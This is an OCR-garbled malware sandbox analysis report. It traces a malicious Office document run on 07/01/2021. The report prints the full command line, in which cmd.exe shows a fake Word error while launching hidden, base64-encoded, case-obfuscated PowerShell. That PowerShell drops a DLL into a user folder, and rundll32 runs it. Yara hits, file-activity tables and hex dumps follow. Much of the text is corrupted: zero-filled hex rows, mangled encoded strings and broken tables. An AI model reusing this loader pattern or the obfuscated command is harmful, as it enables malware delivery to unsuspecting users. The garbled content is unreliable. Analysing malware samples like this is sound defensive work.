00 00 00 00 00 00 00 00 00 00
2AcPB QR 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00 00 00
RRACHRH0 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00

Completion

Source
Count Address

Symbol
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Key Path

Name

Type

00 00 00 00 00 00 00 00 00 00
20PD AR 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 FF FF

00 00 00 00 00 00 00 00 00 00
R@RODHH0 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 FF FF FF FF

Completion

Source
Count Address

Symbol

FF FF

Analysis Process: cmd.exe PID: 2412 Parent PID: 1220

General

Start time: 18:44:37

Start date: 07/01/2021

Path: C:\Windows\System32\cmd.exe
Wow64 process (32bit): false

cmd cmd cmd cmd /c msg %username% /v Word experienced an error trying to open the file.
& PrOwer"she L L -w hidden -ENCOD IABZAFYAIAAgACQGAIgBLACIAKWAIAD
QANWBKACIAKQAJACAAKABBAHQAWQBQAGUAXQAOACIAewAOAHOAeWAXAHOAeW
AWAHOAewAzAHOAeWAYAHOAIGAtAEYAJwBZACCALAANAHKAIWASACCAZQBJAF
QAbwBYAFKAJWASACCAVABFAGOALYBIAGBALYBEAEKACgANACWAIWBZACCAKQ
ApPACAAIAATACAAIAAGACAAIABXAGKAOAAGADOAWWBOAHKAUABIAFOAKAAIAH
SAMgB9AHSAMWBIAHSANWBIAHSAMQBIAHSANABIAHSANGBIAHSANQBIAHSAOA
B9AHSAMABYACIALQBGACAAIWBNAEUAUgANACWAIWAUAE4AAZQBOACAAUWBFAF
IAVgANACWAIWBTAFKACWANACWAIWBUAGUAIWASACCASQANACWAIWBOAGOAQQ
ANACWAIWBDAGUAUABPAEKATgANACWAIWBtACCALAANAE4AY QANACKAIAATACawBIAGQAIAAIACAAKAAOACCAUGANACSAIWAZADEAIWAPACSAIWBOACCAKQATA o A1/ A A A A L A~ AL I AT A LA A A TR A S AL A o A~ ANZARL.
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Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

ALCARWAINALA4ADWBYALCALWBKAGUAJWAPALSAJWBWALCARWAUALCAY YBYALCA
KWANAHQADBQBIAG4AIWAPACSAIWBOACCAKWAOACCALQANACSAIWBVAGYALQBY
AGQAaABtACCAKQArACgAIWBtAGSAZAAVADKANQBIAFgAIWArACCAWGANACSA
JWBZACCAKQArACgAIWAVAEAAXQBhAGAAdWBbACCAKWANADMACWABACBALWBN
ACCAKWANAHUACgANACSAIJWBEAHQAY QANACSAIJWBJACAAdWBOAGMAIWATACCA
aABIACCcAKQArACcAdgBhACCAKWANAGWAJIWAIrACcAaQBIACCAKWANAHIAIWAr
ACCcALgBjACCAKWANAGBAJIWArACgAJWBtACBAIWArACcAdwBWACCAKWANACOA
YWANACKAKWAOACCAbWBUAHQAIWArACCAZQBUAHQAIWAPACSAKAANACBAWQB6
ACCAKWANAFOAIWAPACSAKAANADY AJWArACCAWQBaACBAIWAPACKALGAIAHIA
ZQBQAGAATABhAEMARQAIACJAKAANAFOAY QANACSAKAANAGAADWANACSAIWBD
ADMAJIWAPACKALAAOAFSAYQBYAHIAY QB5AFOAKAANAHMAZAANACWAIWBZAHCA
JWAPACWAKAAOACCAaAANACSAIWBOAHQAIWAPACSAIWBWACCAKQASACCAMwWBK
ACCcAKQBbADEAXQApPACA4AIgBTAFAAYABSAEKAJAAIACJAJABYADQAMQBQACAA
KWAgACQATWBSADKAbWBUAGSAaQAgACSAIAAKAEY AMJAXAEQAKQA7ACQATgAZ QBrADSAJABZADUANABFADOA
KAANAEIAJWArACgAIJWA3ADYAIWArACCASWANACKAKQBIAHOAYWBhAHQAYWBO
AHsAfQBOACQARAA3ADMAVIAIACYAIWBRACCAKWAOACCANAANACSAIWAYAEQA
JWApPACKA

0x4a7b0000

345088 bytes
5746BD7E255DD6ABAFA06F7C42C1BA41
true

true

C, C++ or other language

Reputation: moderate
Analysis Process: msg.exe PID: 2420 Parent PID: 2412
General
Start time: 18:44:38
Start date: 07/01/2021
Path: C:\Windows\System32\msg.exe

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

false

msg user /v Word experienced an error trying to open the file.
0xff440000

26112 bytes

2214979661E779C3E3C33D4F14E6F3AC

true

true

C, C++ or other language

Reputation: moderate
Analysis Process: powershell.exe PID: 1976 Parent PID: 2412
General
Start time: 18:44:38
Start date: 07/01/2021
Path: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Wow64 process (32bit):

Commandline:

Copyright null 2021

false

POwersheLL -w hidden -ENCOD IABZAFYAIAAgACgAIgBLACIAKWAIADQANWB
kACIAKQAgACAAKABbAHQAWQBQAGUAXQAOACIAewAOAHOAeWAXAHOAeWwAWAHO
AewAzAHOAewAYAHOAIgAtAEYAJwBZzACCALAANAHKAIJWASACCAZQBJAFQAbwB
YAFKAIJWASACCAVABFAGOALGBJAGBALYBEAEKACGANACWAIWBZACCAKQAPACA
AIAA7TACAAIAAGACAAIABXAGKAOAAGADOAWWBOAHKAUABIAFOAKAAIAHSAMgB
9AHSAMWBIAHSANWBIAHSAMQBOAHSANABYAHSANgBOAHSANQBOAHSAOABIAHS

AMAROQACIAI ODRGACAATWRNAFLIAI INANACWA WANHAFAAZORNACAAI WRFAFIAV/nA
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At A g et e M A et A s Ao e M A EEs S NS AAr N tr Mg r A s A v ass s

NACWAIWBTAFKACWANACWAIWBUAGUAJIWASACCASQANACWAIWBOAGOAQQANACW
AIJWBDAGUAUABPAEKATgANACWAJWBIACCALAANAE4AAY QANACKAIAATACAAIAB QArACgAIWB2ACCAKWANA
HMAZWANACKAKWANADEAdwANACSAKAANAHIAUWANACSAIWBQAF8AIWArACCAZ
AB3ACCAKWANAGCACWAXAHCACGANACKAKQAUACIACGBFAHAAYABSAEEAYWBIA
CIAKAAOAFSAQWBOAGEACgBAADQAOQArAFSAQWBOAGEAcgBdADEAMQASACSAW
WBDAGQAY QBYyAFOAMQAXADQAKQASACCAXAANACKAKQArACQAWABIAGOAaABIA
GUAZAArACgAKAANACAAZAANACSAIWBSACCAKQArACCABAANACKAOWAKAFUAM
WASAFIAPQAO0ACCATQAWACCAKWANADEAUAANACKAOWAKAFEAYWBIAGMAaAAOA
GgAPQAOACCAXQBhACCAKWAOACCAbgANACSAIWB3AFSAMWABACBALWANACKAK
WAO0ACCcAAWANACSAIWBWAHMAJWAPACsAIWBhACCAKWANAHAAaWANACSAKAANA
C4AYWBVACCAKWANAGOALWB3AHAALQANACSAIWBhAGQAJIWArACCAbQBpPACCAK
QArACgAJwBUACBAdgANACSAIWAVAEAAIWAPACSAIWBAACCAKWAOACCAY QBUAWANAGUALgANACKAKWAOACCAYWBVAGOAIWArACCALWANACKAKWANAHCACAANA
CsAIJWAtAGMAIWArACCAbWANACSAKAANAGAAIWATACCAJABIAGAAdAANACKAK
WAOACCALWANACSAIWBUACBAIWATACCAQABAAGEAbgANACKAKWAOACCAdwBbA
DMAJWArACcAOgAVACBAIWAPACSAIWBrACCAKWAOACCAaAANACSAIWBhAGAA]
WApPACsAKAANAGgAIWArACcAaABVACCAKQArACgAIWBhAGgAbwANACSAIJWBLA
CcAKQArACgAIWBUAGEAe QAUAGAAZQANACSAIWBOACBAIWArACCAAWBVAHIAZ
ABWACCAKQArACgAIJWBYAGUAJWArACcAcwANACKAKWAOACCACWAVACCAKWANA
EMAJWAPACSAKAANAECATQBDACBAQAANACSAIWBAACCAKQArACCAY QBUACCAK
WANRAHCAJWArACgAIJWBbADMAOgAVACCAKWANACBAIWAPACSAKAANAGMAY QANA
CsAJWBtACCAKQArACgAIWBWAHUAJWArACcAcwBIACcAKWANAHGACABVACCAK
WANAC4AbwByAGCcALWBKAGUAJWAPACSAIWBWACCAKWAOACCAY QBYACCAKWANA
HQAbQBIAG4AIWAPACSAIWBOACCAKWAOACCALQANACSAIWBVAGYALQBVAGQAa
ABtACCAKQATrACgAIWBIAGSAZAAVADKANQBIAFgAJWArACCAWGANACSAIWBZA
CcAKQArACgAIWAVAEAAXQBhAGAAdWBDACCAKWANADMACWABACBALWBNACCAK
WANAHUACgANACSAIWBBAHQAY QANACSAIWBJACAAdWBOAGMAIWArACCAaABIA
CcAKQArACcAdgBhACCAKWANAGWAIWATACCcAaQBIACCAKWANAHIAIJWAIACCAL
gBJACCAKWANAGBAIWArACgAIJWBIACBAIJWArACcAdwBWACCAKWANACOAYWANA
CKAKWAOACCAbWBUAHQAJIWArACCAZQBUAHQAIWAPACSAKAANACBAWQBBEACCAK
WANAFOAIWAPACSAKAANADYAJWArACCAWQBaACBAIWAPACKALJAIAHIAZQBQA
GAATABhAEMARQAIACJAKAANAFOAY QANACSAKAANAGAAdWANACSAIWBDADMAJ
WAPACKALAAOAFSAYQBYAHIAY QBSAFOAKAANAHMAZAANACWAIWBZAHCAIWAPA
CwAKAA0ACCcAaAANACSAIWBOAHQAJIWAPACSAIWBWACCAKQASACCAMWBKACCAK
QBbADEAXQApPAC4AIgBTAFAAYABSAEKAJAAIACJAJABYADQAMQBQACAAKWAGA
CQATwWBsADKAbwBUAGSsAaQAgACSAIAAKAEY AMgAXAEQAKQA7ACQATYAZADIARImagebase: 0x13fda0000
File size: 473600 bytes
MDS5 hash: 852D67A27E454BD389FA7F02A8CBE23F
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Has elevated privileges:
Has administrator privileges:
Programmed in:

Yara matches:

Reputation:

File Activities

File Created

File Path

C:\Users\user\Nspzvsg

C:\Users\user\Nspzvsg\Sj_dwgs

C:\Users\user\Nspzvsg\Sj_dwgs\R31N.dll

File Deleted

File Path
C:\Users\user\Nspzvsg\Sj_dwgs\R31N.dll

Old File Path

File Written

File Path

Copyright null 2021

true

true

Net C# or VB.NET

e Rule: PowerShell_Case_Anomaly, Description: Detects obfuscated PowerShell hacktools,
Source:
00000005.00000002.2098977444.00000000003A6000.00000004.00000001.sdmp,
Author: Florian Roth

e Rule: PowerShell_Case_Anomaly, Description: Detects obfuscated PowerShell hacktools,
Source:
00000005.00000002.2099018850.0000000001BC6000.00000004.00000001.sdmp,
Author: Florian Roth

high

Access Attributes

read data or list device
directory |
synchronize

read data or list device
directory |
synchronize

read attributes | device
synchronize |
generic write

New File Path

Offset Length Value

Options Completion

directory file | success or wait
synchronous io

non alert | open

for backup ident

| open reparse

point

directory file | success or wait
synchronous io

non alert | open

for backup ident

| open reparse

point

synchronous io  success or wait
non alert | non

directory file |

open no recall

Completion

success or wait

Source
Count Address Symbol
1 7FEE893BECT? CreateDirectoryW
1 7FEE893BECT? CreateDirectoryW
5 7FEE893BEC7 CreateFileW
Source
Count Address Symbol
3 7FEE893BEC7 DeleteFilewW

Source
Completion Count Address Symbol
Source
Ascii Completion Count Address Symbol
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File Path

C:\Users\user\Nspzvsg\Sj_dwgs\R31N.dll

C:\Users\user\Nspzvsg\Sj_dwgs\R31N.dll

Copyright null 2021

Offset Length Value

unknown 4096

unknown 221

3c 21 44 4 43 54 59

50 45 20 68 74 6d 6¢
3e 0a 3c 21 2d 2d 5b
69 66 20 6¢ 74 20 49
4520 37 5d 3e 20 3c
68 74 6d 6¢ 20 63 6¢C
61 73 73 3d 22 6e 6f
2d 6a 73 20 69 65 36
20 6f 6¢ 64 69 65 22

20 6¢ 61 6e 67 3d 22
65 6e 2d 55 53 22 3e
20 3c 21 5b 65 6e 64
69 66 5d 2d 2d 3e Oa
3c 21 2d 2d 5b 69 66
2049 45 20 37 5d 3e
202020 20 3c 68 74
6d 6¢ 20 63 6¢ 61 73
73 3d 22 6e 6f 2d 6a
73 20 69 65 37 20 6f
6¢ 64 69 65 22 20 6¢
61 6e 67 3d 22 65 6e
2d 55 53 22 3e 20 3¢
21 5b 65 6e 64 69 66
5d 2d 2d 3e Oa 3c 21
2d 2d 5b 69 66 20 49
45 20 38 5d 3e 20 20
20 20 3c 68 74 6d 6¢
2063 6¢ 61 7373 3d
22 6e 6f 2d 6a 73 20

69 65 38 20 6f 6¢ 64

69 65 22 20 6¢ 61 6e
67 3d 22 65 6e 2d 55
5322 3e 20 3c 21 5b
65 6e 64 69 66 5d 2d
2d 3e 0a 3c 21 2d 2d
5b 69 66 20 67 74 20
49 45 20

61 3e 3c 2f 73 70 61
6e 3e 0a 20 20 20 20
0a 20 20 3c 2f 70 3e
Oa 3c 2f 64 69 76 3e
3c 21 2d 2d 20 2f 2e
65 72 72 6f 72 2d 66
6f 6f 74 65 72 20 2d
2d 3e Oa Oa 0a 20 20
20 20 3c 2f 64 69 76
3e 3c 21 2d 2d 20 2f
236366 2d 65 72 72
6f 72 2d 64 65 74 61
69 6¢ 73 20 2d 2d 3e
0a 20 20 3c 2f 64 69
76 3e 3c 21 2d 2d 20
2f23 6366 2d 77 72
61 70 70 65 72 20 2d
2d 3e Oa 0a 20 20 3c
7363726970 7420
74797065 3d 22 74
65 78 74 2f 6a 61 76
6173637269 70 74
22 3e 0a 20 20 77 69
6e 64 6f 77 2e 5f 63
66 5f 74 72 61 6e 73
6¢c 61 74 69 6f 6e 20
3d 20 7b 7d 3b 0a 20
20 0a 20 20 0a 3c 2f
736372697074 3e
0Oa Oa 3c 2f 62 6f 64
79 3e 0a 3c 2f 68 74
6d 6¢ 3e Oa

Ascii

<IDOCTYPE html>. [if It
|E 7]> <html class="no-js
ie6 oldie" lang="en-US">

<l[endif]-->. [if IE 7]>
<html class="no-js ie7
oldie" lang="en-US"> <!
[endif]-->. [if IE8]> <h

tml class="no-js ie8 oldie"
lang="en-US"> <![endif]-->.

lif gtIE

a></span>. . </p>.

</div> /.error-footer -->...
</div> /#cf-error-details --
>, </div> [#cf-wrapper --

>.. <script

type="text/javascr<wbr>ipt
">, window._cf_translation
={}. . .</scr<wbr>ipt>..

</body>.</html>.

Completion

success or wait

success or wait

Source

Count Address Symbol

7

1

7FEE893BEC7 WriteFile

7FEE893BEC7 WriteFile
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Source
File Path Offset Length Value Ascii Completion Count Address Symbol

C:\Users\user\Nspzvsg\Sj_dwgs\R31N.dll unknown 7633 c705902f011009 ../ ........ Jrcooncen Y success or wait 9 7FEEB93BEC7 WriteFile
0400 c0c7 0594 2f j.XkK.....[.

05a02f01100100 U...%.2.....S3.C...L..j
00006a04586bcO ... 3....2..V.5.L.W.}
00 c7 80 a4 2f 01 10
02 00 00 00 6a 04 58 .
6b c0 00 8b 0d 58 21
01 10 89 4c 05 f8 6a
04 58 c1 €0 00 8b 0d
5c 21 01 10 89 4c 05
8 68 78 e4 00 10 €8
cc fe ff ff c9 ¢3 55 8b
ec 8325 hb0320110
0083 ec 1053 33 db
4309 1d 98 21 01 10
6a Oa e8 ba 7f 00 00
85 ¢0 0f 84 0e 01 00
0033 ¢c98bc389 1d
b0 32 01 10 0f a2 56
8b 3598 21 01 10 57
8d 7d f0 83 ce 02 89
07 89 5f 04 89 4f 08

89 57 Oc f7 45 f8 00

00 10 00 89 35 98 21
01 10 74 13 83 ce 04
c7 05 b0 32 01 10 02
00 00 00 89 35 98 21
01 10 7 45 f8 00 00

00 10 74 13 83 ce 08
c7 05 b0 32 01 10 03
00 00 00 89 35 98 21
01 10 6a 07 33 c9 58
0f a2 8d 75 f0 89 06

89 5e 04 89 4e 08 89
56 Oc f7 45 f4 00 02

00 00
File Read
Source
File Path Offset Length Completion Count Address Symbol
C:\Windows\Microsoft. NET\Framework64\v2.0.50727\CONFIG\machine.config unknown 4095 success or wait 1 7FEE87A5208 unknown
C:\Windows\Microsoft. NET\Framework64\v2.0.50727\CONFIG\machine.config unknown 6304 success or wait 3 7FEE87A5208 unknown
C:\Windows\Microsoft. NET\Framework64\v2.0.50727\CONFIG\machine.config unknown 4095 success or wait 1 7FEEB88CA287 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\getevent.types.ps1xml unknown 4096 success or wait 4 7FEEB93BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\getevent.types.ps1xml unknown 781 end of file 1 7FEEB93BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\getevent.types.ps1xml unknown 4096 end of file 1 7FEEB93BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\types.ps1xml unknown 4096 success or wait 42 7FEEB93BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\types.ps1xml unknown 4096 end of file 1 7FEEB93BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\Diagnostics.Format.psixml unknown 4096 success or wait 7 7FEEB93BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\Diagnostics.Format.psixml unknown 542 end of file 1 7FEEB93BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\Diagnostics.Format.psixml unknown 4096 end of file 1 7FEEB93BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.Format.ps1xml unknown 4096 success or wait 6 7FEEB93BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.Format.ps1xml unknown 78 end of file 1 7FEEB93BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.Format.ps1xml unknown 4096 end of file 1 7FEEB93BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\Certificate.format.ps1xml unknown 4096 success or wait 7 7FEEB93BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\Certificate.format.ps1xml unknown 310 end of file 1 7FEEB93BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\Certificate.format.ps1xml unknown 4096 end of file 1 7FEEB93BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\DotNetTypes.format.ps1xml unknown 4096 success or wait 18 7FEEB93BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\DotNetTypes.format.ps1xml unknown 50 end of file 1 7FEEB93BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\DotNetTypes.format.ps1xml unknown 4096 end of file 1 7FEEB93BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\FileSystem.format.ps1xml unknown 4096 success or wait 7 7FEEB93BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\FileSystem.format.ps1xml unknown 4096 end of file 1 7FEEB93BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\Help.format.ps1xml unknown 4096 success or wait 62 7FEEB93BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\Help.format.ps1xml unknown 201 end of file 1 7FEEB93BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\Help.format.ps1xml unknown 4096 end of file 1 7FEEB93BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellCore.format.ps1xml unknown 4096 success or wait 22 7FEEB93BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellCore.format.ps1xml unknown 409 end of file 1 7FEEB93BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellCore.format.ps1xml unknown 4096 end of file 1 7FEEB93BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellTrace.format.ps1xml unknown 4096 success or wait 5 7FEEB93BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellTrace.format.ps1xml unknown 844 end of file 1 7FEEB93BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellTrace.format.ps1xml unknown 4096 end of file 1 7FEEB93BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\Registry.format.ps1xml unknown 4096 success or wait 5 7FEEB93BEC7 ReadFile
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Source

File Path Offset Length Completion Count Address Symbol
C:\Windows\System32\WindowsPowerShell\v1.0\Registry.format.ps1xml unknown 360 end of file 1 7FEE893BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\Registry.format.ps1xml unknown 4096 end of file 1 7FEE893BEC7 ReadFile
C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1. unknown 4096 success or wait 1 7FEE88969DF unknown
0.0.0__31bf3856ad364e35\System.Management.Automation.dll
C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1. unknown 512 success or wait 1 7FEE88969DF unknown
0.0.0__31bf3856ad364e35\System.Management.Automation.dll
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\CONFIG\machine.config unknown 4096 success or wait 1 7FEE893BEC7 ReadFile
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\CONFIG\machine.config unknown 4096 end of file 1 7FEE893BEC7 ReadFile
C:\Windows\assembly\GAC_MSIL\System\2.0.0.0__b77a5c561934e089\System.dll unknown 4096 success or wait 1 7FEE88969DF unknown
C:\Windows\assembly\GAC_MSIL\System\2.0.0.0__b77a5c561934e089\System.dll unknown 512 success or wait 1 7FEE88969DF unknown
C:\Windows\assembly\GAC_64\mscorlib\2.0.0.0__b77a5c561934e089\mscorlib.dll unknown 4096 success or wait 1 7FEE88969DF unknown
C:\Windows\assembly\GAC_64\mscorlib\2.0.0.0__b77a5c561934e089\mscorlib.dll unknown 512 success or wait 1 7FEE88969DF unknown
Registry Activities
Source
Key Path Completion Count Address Symbol
Source
Key Path Name Type Data Completion Count Address Symbol
Analysis Process: rundll32.exe PID: 2484 Parent PID: 1976

General
Start time: 18:44:46
Start date: 07/01/2021
Path: C:\Windows\System32\rundll32.exe
Wow64 process (32bit): false
Commandline: ‘C:\Windows\system32\rundlI32.exe' C:\Users\user\Nspzvsg\Sj_dwgs\R31N.dIl Contr

ol_RunDLL
Imagebase: 0xffaf0000
File size: 45568 bytes
MD5 hash: DD81D91FF3B0763C392422865C9AC12E

Has elevated privileges:
Has administrator privileges:

Programmed in:

true
true

C, C++ or other language

Reputation: moderate
File Activities
File Read
Source
File Path Offset Length Completion Count Address Symbol
C:\Users\user\Nspzvsg\Sj_dwgs\R31N.dlI unknown 64 success or wait 1 FFAF27D0 ReadFile
C:\Users\user\Nspzvsg\Sj_dwgs\R31N.dlI unknown 264 success or wait 1 FFAF281C ReadFile
Analysis Process: rundll32.exe PID: 2764 Parent PID: 2484
General
Start time: 18:44:46
Start date: 07/01/2021
